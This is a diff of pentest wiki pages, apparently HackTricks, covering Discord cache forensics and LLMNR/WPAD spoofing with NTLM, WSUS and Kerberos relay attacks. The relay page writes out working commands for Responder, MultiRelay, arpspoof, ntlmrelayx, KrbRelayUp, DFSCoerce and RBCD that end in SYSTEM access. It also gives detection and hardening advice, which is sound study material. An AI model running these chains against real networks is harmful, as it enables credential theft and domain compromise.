- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
- **Livro: OS X Incident Response: Scripting and Analysis By Jaron Bradley pág. 123**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,89 @@
# Forense de Cache do Discord (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
Esta página resume como realizar a triagem dos artefatos de cache do Discord Desktop para recuperar arquivos exfiltrados, endpoints de webhook e linhas do tempo de atividade. O Discord Desktop é um app Electron/Chromium e usa Chromium Simple Cache no disco.
## Where to look (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Principais estruturas no disco dentro de Cache_Data:
- index: base de dados de índice do Simple Cache
- data_#: arquivos binários de blocos de cache que podem conter múltiplos objetos em cache
- f_######: entradas de cache individuais armazenadas como arquivos independentes (frequentemente corpos maiores)
Observação: Excluir mensagens/canais/servidores no Discord não purga esse cache local. Os itens em cache frequentemente permanecem e os carimbos de data/hora dos arquivos alinhamse com a atividade do usuário, permitindo reconstrução da linha do tempo.
## What can be recovered
- Anexos exfiltrados e miniaturas buscados via cdn.discordapp.com/media.discordapp.net
- Imagens, GIFs, vídeos (ex.: .jpg, .png, .gif, .webp, .mp4, .webm)
- Webhook URLs (https://discord.com/api/webhooks/…)
- Discord API calls (https://discord.com/api/vX/…)
- Útil para correlacionar beaconing/exfil e para calcular hashes de mídia para correspondência de inteligência
## Quick triage (manual)
- Grep no cache por artefatos de alto sinal:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- Ordene entradas em cache por tempo de modificação para construir uma timeline rápida (mtime reflete quando o objeto chegou ao cache):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## Parsing f_* entries (HTTP body + headers)
Arquivos começando com f_ contêm cabeçalhos de resposta HTTP seguidos pelo corpo. O bloco de cabeçalho normalmente termina com \r\n\r\n. Cabeçalhos de resposta úteis incluem:
- Content-Type: Para inferir o tipo de mídia
- Content-Location or X-Original-URL: URL remota original para pré-visualização/correlação
- Content-Encoding: Pode ser gzip/deflate/br (Brotli)
A mídia pode ser extraída separando os cabeçalhos do corpo e, opcionalmente, descomprimindo com base em Content-Encoding. A detecção por magic bytes é útil quando Content-Type está ausente.
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- Function: Escaneia recursivamente a pasta de cache do Discord, encontra URLs de webhook/API/anexos, analisa corpos f_*, opcionalmente realiza carving de mídia, e gera relatórios de timeline em HTML + CSV com hashes SHA256.
Example CLI usage:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
Key options:
- --cache: Caminho para Cache_Data
- --format html|csv|both
- --timeline: Emitir CSV de timeline ordenado (por hora de modificação)
- --extra: Também escanear caches irmãos Code Cache e GPUCache
- --carve: Carve mídia de bytes brutos próximos a hits de regex (imagens/vídeo)
- Output: HTML report, CSV report, CSV timeline, e uma pasta de mídia com arquivos carved/extracted
## Dicas para analistas
- Correlacione o modified time (mtime) de arquivos f_* e data_* com janelas de atividade do usuário/atacante para reconstruir uma timeline.
- Calcule o hash da mídia recuperada (SHA-256) e compare com conjuntos de dados conhecidos como maliciosos ou de exfiltração.
- URLs de webhook extraídas podem ser testadas quanto à liveness ou rotacionadas; considere adicioná-las a blocklists e retro-hunting proxies.
- O Cache persiste após “wiping” no lado do servidor. Se for possível adquirir, colete todo o diretório Cache e caches irmãos relacionados (Code Cache, GPUCache).
## Referências
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,58 +1,58 @@
# Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Ataques de Relay
# Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Relay Attacks
{{#include ../../banners/hacktricks-training.md}}
## Protocolos de Rede
### Protocolos de Resolução de Host Local
### Protocolos Locais de Resolução de Nomes
- **LLMNR, NBT-NS e mDNS**:
- Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes local quando o DNS falha. Da mesma forma, sistemas Apple e Linux usam mDNS.
- Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
- [Responder](https://github.com/lgandx/Responder) pode ser usado para impersonar serviços enviando respostas forjadas para hosts que consultam esses protocolos.
- Mais informações sobre a impersonação de serviços usando Responder podem ser encontradas [aqui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
- Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes locais quando o DNS falha. De forma semelhante, sistemas Apple e Linux usam mDNS.
- Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza de broadcast não autenticada sobre UDP.
- [Responder](https://github.com/lgandx/Responder) pode ser usado para se passar por serviços enviando respostas forjadas para hosts que fazem consultas nesses protocolos.
- Mais informações sobre impersonação de serviços usando Responder podem ser encontradas [aqui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Protocolo de Descoberta Automática de Proxy Web (WPAD)
### Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD permite que navegadores descubram configurações de proxy automaticamente.
- A descoberta é facilitada via DHCP, DNS ou fallback para LLMNR e NBT-NS se o DNS falhar.
- WPAD permite que os navegadores descubram automaticamente as configurações de proxy.
- A descoberta é facilitada via DHCP, DNS, ou fallback para LLMNR e NBT-NS se o DNS falhar.
- Responder pode automatizar ataques WPAD, direcionando clientes para servidores WPAD maliciosos.
### Responder para Envenenamento de Protocolo
### Responder for Protocol Poisoning
- **Responder** é uma ferramenta usada para envenenar consultas LLMNR, NBT-NS e mDNS, respondendo seletivamente com base nos tipos de consulta, visando principalmente serviços SMB.
- Vem pré-instalado no Kali Linux, configurável em `/etc/responder/Responder.conf`.
- Responder exibe hashes capturados na tela e os salva no diretório `/usr/share/responder/logs`.
- Suporta tanto IPv4 quanto IPv6.
- A versão do Windows do Responder está disponível [aqui](https://github.com/lgandx/Responder-Windows).
- A versão para Windows do Responder está disponível [aqui](https://github.com/lgandx/Responder-Windows).
#### Executando o Responder
- Para executar o Responder com configurações padrão: `responder -I <Interface>`
- Para sondagem mais agressiva (com potenciais efeitos colaterais): `responder -I <Interface> -P -r -v`
- Técnicas para capturar desafios/respostas NTLMv1 para facilitar a quebra: `responder -I <Interface> --lm --disable-ess`
- Para sondagem mais agressiva (com possíveis efeitos colaterais): `responder -I <Interface> -P -r -v`
- Técnicas para capturar challenges/respostas NTLMv1 para facilitar o cracking: `responder -I <Interface> --lm --disable-ess`
- A impersonação WPAD pode ser ativada com: `responder -I <Interface> --wpad`
- Solicitações NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado: `responder.py -I <interface> -Pv`
- Requisições NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado: `responder.py -I <interface> -Pv`
### Envenenamento DHCP com Responder
### DHCP Poisoning with Responder
- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais discreta ao envenenamento ARP.
- Forjar respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao ARP poisoning.
- Requer conhecimento preciso da configuração da rede alvo.
- Executando o ataque: `./Responder.py -I eth0 -Pdv`
- Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar interrupções na rede.
- Esse método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar a interrupção da rede.
### Capturando Credenciais com Responder
### Capturing Credentials with Responder
- Responder irá impersonar serviços usando os protocolos mencionados acima, capturando credenciais (geralmente NTLMv2 Challenge/Response) quando um usuário tenta se autenticar contra os serviços forjados.
- Tentativas podem ser feitas para rebaixar para NetNTLMv1 ou desativar ESS para facilitar a quebra de credenciais.
- Responder irá se passar por serviços usando os protocolos mencionados acima, capturando credenciais (normalmente NTLMv2 Challenge/Response) quando um usuário tenta autenticar-se contra os serviços falsificados.
- Podem ser feitas tentativas de downgrade para NetNTLMv1 ou desabilitar ESS para facilitar o cracking de credenciais.
É crucial notar que a utilização dessas técnicas deve ser feita legal e eticamente, garantindo a devida autorização e evitando interrupções ou acessos não autorizados.
É crucial notar que empregar essas técnicas deve ser feito legal e eticamente, garantindo autorização adequada e evitando interrupção ou acesso não autorizado.
## Inveigh
Inveigh é uma ferramenta para testadores de penetração e equipes vermelhas, projetada para sistemas Windows. Oferece funcionalidades semelhantes ao Responder, realizando spoofing e ataques man-in-the-middle. A ferramenta evoluiu de um script PowerShell para um binário C#, com [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como as principais versões. Parâmetros detalhados e instruções podem ser encontrados na [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh é uma ferramenta para penetration testers e red teamers, projetada para sistemas Windows. Oferece funcionalidades similares ao Responder, realizando spoofing e ataques man-in-the-middle. A ferramenta evoluiu de um script PowerShell para um binário C#, com [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como as principais versões. Parâmetros detalhados e instruções podem ser encontrados na [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh pode ser operado através do PowerShell:
O Inveigh pode ser operado através do PowerShell:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
@ -62,16 +62,16 @@ Inveigh.exe
```
### NTLM Relay Attack
Este ataque aproveita as sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os principais pré-requisitos incluem:
Esse ataque explora sessões de autenticação SMB para acessar uma máquina alvo, concedendo uma shell do sistema se for bem-sucedido. Pré-requisitos principais incluem:
- O usuário autenticado deve ter acesso de Admin Local na máquina retransmitida.
- A assinatura SMB deve estar desativada.
- O usuário autenticante deve ter Local Admin access no relayed host.
- SMB signing deve estar desabilitado.
#### Encaminhamento e Tunelamento da Porta 445
#### 445 Port Forwarding and Tunneling
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de admin local está disponível para carregamento de drivers.
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando há Local Admin access disponível para o carregamento de drivers.
Configuração e operação do PortBender no Cobalt Strike:
PortBender setup and operation in Cobalt Strike:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
@ -87,17 +87,17 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Outras Ferramentas para Ataque de Relay NTLM
### Outras ferramentas para NTLM Relay Attack
- **Metasploit**: Configurado com proxies, detalhes de hosts locais e remotos.
- **smbrelayx**: Um script Python para relatar sessões SMB e executar comandos ou implantar backdoors.
- **MultiRelay**: Uma ferramenta do conjunto Responder para relatar usuários específicos ou todos os usuários, executar comandos ou despejar hashes.
- **Metasploit**: Configure com proxies e detalhes dos hosts local e remoto.
- **smbrelayx**: Um script Python para relaying de sessões SMB e executar comandos ou implantar backdoors.
- **MultiRelay**: Uma ferramenta da suíte Responder para relaying de usuários específicos ou de todos os usuários, executar comandos ou dump hashes.
Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se necessário, permitindo ataques mesmo com acesso indireto à rede.
Cada ferramenta pode ser configurada para operar através de um SOCKS proxy se necessário, permitindo ataques mesmo com acesso de rede indireto.
### Operação do MultiRelay
MultiRelay é executado a partir do _**/usr/share/responder/tools**_ diretório, visando IPs ou usuários específicos.
MultiRelay é executado a partir do _**/usr/share/responder/tools**_ directory, visando IPs específicos ou usuários.
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,77 +105,139 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
Essas ferramentas e técnicas formam um conjunto abrangente para conduzir ataques de NTLM Relay em vários ambientes de rede.
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
### Forçar Logins NTLM
### Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).
O que procurar
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconhecimento
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
1) Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) Redirect port 8530 to your relay listener (optional, convenient):
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below):
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://<host>
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://<DC>
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
For deeper AD CS abuse paths and tooling, see the AD CS page:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) Trigger a client check-in or wait for schedule. From a client:
wuauclt.exe /detectnow
or use the Windows Update UI (Check for updates).
5) Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake cant be harvested/relayed from WSUS HTTPS traffic.
Notes
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
### Force NTLM Logins
In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how:
No Windows, você **pode ser capaz de forçar algumas contas privilegiadas a se autenticar em máquinas arbitrárias**. Leia a página a seguir para aprender como:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Ataque de Relay Kerberos
## Kerberos Relay attack
Um **ataque de relay Kerberos** rouba um **ticket AP-REQ** de um serviço e o reutiliza contra um segundo serviço que compartilha a **mesma chave de conta de computador** (porque ambos os SPNs estão na mesma conta de máquina `$`). Isso funciona mesmo que as **classes de serviço dos SPNs diferem** (por exemplo, `CIFS/``LDAP/`) porque a *chave* que descriptografa o ticket é o hash NT da máquina, não a string SPN em si, e a string SPN não faz parte da assinatura.
A **Kerberos relay attack** steals an **AP-REQ ticket** from one service and re-uses it against a second service that shares the **same computer-account key** (because both SPNs sit on the same `$` machine account). This works even though the SPNs **service classes differ** (e.g. `CIFS/``LDAP/`) because the *key* that decrypts the ticket is the machines NT hash, not the SPN string itself and the SPN string is not part of the signature.
Ao contrário do relay NTLM, o salto é limitado ao *mesmo host*, mas, se você direcionar um protocolo que permite escrever no LDAP, pode encadear em **Delegação Constrangida Baseada em Recurso (RBCD)** ou **inscrição AD CS** e comprometer **NT AUTHORITY\SYSTEM** em um único golpe.
Unlike NTLM relay, the hop is limited to the *same host* but, if you target a protocol that lets you write to LDAP, you can chain into **Resource-Based Constrained Delegation (RBCD)** or **AD CS enrollment** and pop **NT AUTHORITY\SYSTEM** in a single shot.
Para informações detalhadas sobre este ataque, verifique:
For detailed info about this attack check:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Noções básicas sobre Kerberos**
- 1. **Kerberos basics**
| Token | Propósito | Relevância do Relay |
|-------|-----------|---------------------|
| **TGT / AS-REQ ↔ REP** | Prova o usuário para o KDC | intocado |
| **Ticket de serviço / TGS-REQ ↔ REP** | Vinculado a um **SPN**; criptografado com a chave do proprietário do SPN | intercambiável se os SPNs compartilharem conta |
| **AP-REQ** | Cliente envia `TGS` para o serviço | **o que roubamos e reproduzimos** |
| Token | Purpose | Relay relevance |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Proves the user to the KDC | untouched |
| **Service ticket / TGS-REQ ↔ REP** | Bound to one **SPN**; encrypted with the SPN owners key | interchangeable if SPNs share account |
| **AP-REQ** | Client sends `TGS` to the service | **what we steal & replay** |
* Os tickets são criptografados com a **chave derivada da senha da conta que possui o SPN**.
* O **Autenticador** dentro do AP-REQ tem um timestamp de 5 minutos; a reprodução dentro dessa janela é válida até que o cache do serviço veja um duplicado.
* O Windows raramente verifica se a string SPN no ticket corresponde ao serviço que você acessa, então um ticket para `CIFS/HOST` normalmente descriptografa bem em `LDAP/HOST`.
* Tickets are encrypted with the **password-derived key of the account that owns the SPN**.
* The **Authenticator** inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
* Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for `CIFS/HOST` normally decrypts fine on `LDAP/HOST`.
- 2. **O que deve ser verdade para relatar Kerberos**
- 2. **What must be true to relay Kerberos**
1. **Chave compartilhada:** SPNs de origem e destino pertencem à mesma conta de computador (padrão em servidores Windows).
2. **Sem proteção de canal:** SMB/LDAP sem assinatura e EPA desligado para HTTP/LDAPS.
3. **Você pode interceptar ou coagir a autenticação:** envenenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
4. **Fonte do ticket não utilizada:** você vence a corrida antes que o pacote real chegue ou bloqueia completamente; caso contrário, o cache de reprodução do servidor dispara o Evento 4649.
5. Você precisa de alguma forma ser capaz de realizar um **MitM na comunicação**, talvez fazendo parte do grupo DNSAmins para modificar o DNS do domínio ou sendo capaz de alterar o arquivo HOST da vítima.
1. **Shared key:** source and target SPNs belong to the same computer account (default on Windows servers).
2. **No channel protection:** SMB/LDAP signing off and EPA off for HTTP/LDAPS.
3. **You can intercept or coerce authentication:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, etc..
4. **Ticket source not already used:** you win the race before the real packet hits or block it entirely; otherwise the servers replay cache fires Event 4649.
5. You need to somehow be able to perform a **MitM in the communication** maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
### Etapas do Relay Kerberos
### Kerberos Relay Steps
- 3.1 **Reconhecer o host**
- 3.1 **Recon do host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Inicie o ouvinte de relay**
- 3.2 **Inicie o relay listener**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` envolve **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** em um único binário.
`KrbRelayUp` empacota **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** em um único binário.
- 3.3 **Forçar autenticação Kerberos**
- 3.3 **Coerce Kerberos auth**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce faz com que o DC envie um ticket Kerberos `CIFS/DC01` para nós.
DFSCoerce faz o DC enviar um ticket Kerberos `CIFS/DC01` para nós.
- 3.4 **Revezar o AP-REQ**
- 3.4 **Relay the AP-REQ**
KrbRelay extrai o blob GSS do SMB, o reorganiza em um bind LDAP e o encaminha para `ldap://DC01`—a autenticação é bem-sucedida porque a **mesma chave** o descriptografa.
KrbRelay extrai o GSS blob do SMB, reempacota-o em um LDAP bind, e o encaminha para `ldap://DC01`—a autenticação tem sucesso porque a **mesma chave** o descriptografa.
- 3.5 **Abusar LDAP ➜ RBCD ➜ SYSTEM**
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -185,45 +247,57 @@ SCMUACBypass.exe
```
Você agora possui **NT AUTHORITY\SYSTEM**.
### **Mais caminhos que vale a pena conhecer**
| Vetor | Truque | Por que isso importa |
|-------|--------|---------------------|
| **AuthIP / IPSec** | Servidor falso envia um **payload GSS-ID** com qualquer SPN; cliente constrói um AP-REQ diretamente para você | Funciona mesmo entre sub-redes; credenciais de máquina por padrão |
| **DCOM / MSRPC** | Resolvedor OXID malicioso força o cliente a autenticar em SPN e porta arbitrários | Elevação de privilégio *local* pura; contorna firewall |
| **AD CS Web Enroll** | Revezar ticket de máquina para `HTTP/CA` e obter um certificado, então **PKINIT** para criar TGTs | Contorna defesas de assinatura LDAP |
| **Shadow Credentials** | Escrever `msDS-KeyCredentialLink`, então PKINIT com par de chaves forjado | Não é necessário adicionar uma conta de computador |
| Vector | Trick | Why it matters |
|--------|-------|----------------|
| **AuthIP / IPSec** | Servidor falso envia um **GSS-ID payload** com qualquer SPN; o cliente constrói um AP-REQ direto para você | Funciona mesmo entre sub-redes; credenciais da máquina por padrão |
| **DCOM / MSRPC** | Malicious OXID resolver força o cliente a autenticar em SPN e porta arbitrários | Pure *local* priv-esc; contorna o firewall |
| **AD CS Web Enroll** | Reencaminhe o ticket da máquina para `HTTP/CA` e obtenha um certificado, então **PKINIT** para emitir TGTs | Contorna defesas de assinatura LDAP |
| **Shadow Credentials** | Escreva `msDS-KeyCredentialLink`, então PKINIT com par de chaves forjado | Não é necessário adicionar uma conta de computador |
### **Solução de Problemas**
### **Solução de problemas**
| Error | Meaning | Fix |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Ticket key ≠ target key | Host/SPN errado |
| `KRB_AP_ERR_SKEW` | Clock > 5 min offset | Sincronize o tempo ou use `w32tm` |
| LDAP bind fails | Signing enforced | Use o caminho AD CS ou desative a assinatura |
| Event 4649 spam | Service saw duplicate Authenticator | bloquear ou disputar (race) o pacote original |
| Erro | Significado | Correção |
|------|-------------|----------|
| `KRB_AP_ERR_MODIFIED` | Chave do ticket ≠ chave do alvo | Host/SPN errado |
| `KRB_AP_ERR_SKEW` | Relógio > 5 min de desvio | Sincronizar hora ou usar `w32tm` |
| Falha na ligação LDAP | Assinatura aplicada | Usar caminho AD CS ou desativar assinatura |
| Spam de Evento 4649 | Serviço viu autenticador duplicado | bloquear ou competir com o pacote original |
### **Detecção**
* Aumento em **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` da mesma fonte em segundos.
* **Evento 4649** no serviço indica que a reprodução foi detectada.
* Logon Kerberos de **127.0.0.1** (revezar para SCM local) é altamente suspeito—mapear via regra Sigma na documentação do KrbRelayUp.
* Observar mudanças nos atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
* Aumento repentino de **Event 4769** para `CIFS/`, `HTTP/`, `LDAP/` da mesma origem em segundos.
* **Event 4649** no serviço indica replay detectado.
* Logon Kerberos a partir de **127.0.0.1** (relay para SCM local) é altamente suspeito — mapear via regra Sigma nos docs do KrbRelayUp.
* Monitore alterações em `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink` attributes.
## **Fortalecimento**
## **Endurecimento**
1. **Impor assinatura LDAP e SMB + EPA** em todos os servidores.
2. **Dividir SPNs** para que HTTP não esteja na mesma conta que CIFS/LDAP.
3. Corrigir vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
4. Definir **`ms-DS-MachineAccountQuota = 0`** para impedir junções de computadores indesejados.
5. Alertar sobre **Evento 4649** e logons Kerberos de loopback inesperados.
1. **Exigir LDAP & SMB signing + EPA** em todos os servidores.
2. **Separe os SPNs** para que HTTP não esteja na mesma conta que CIFS/LDAP.
3. Corrija vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
4. Defina **`ms-DS-MachineAccountQuota = 0`** para impedir junções de computadores não autorizados.
5. Alerta para **Event 4649** e logons Kerberos em loopback inesperados.
## Referências
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
- [GoSecure Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,26 +1,26 @@
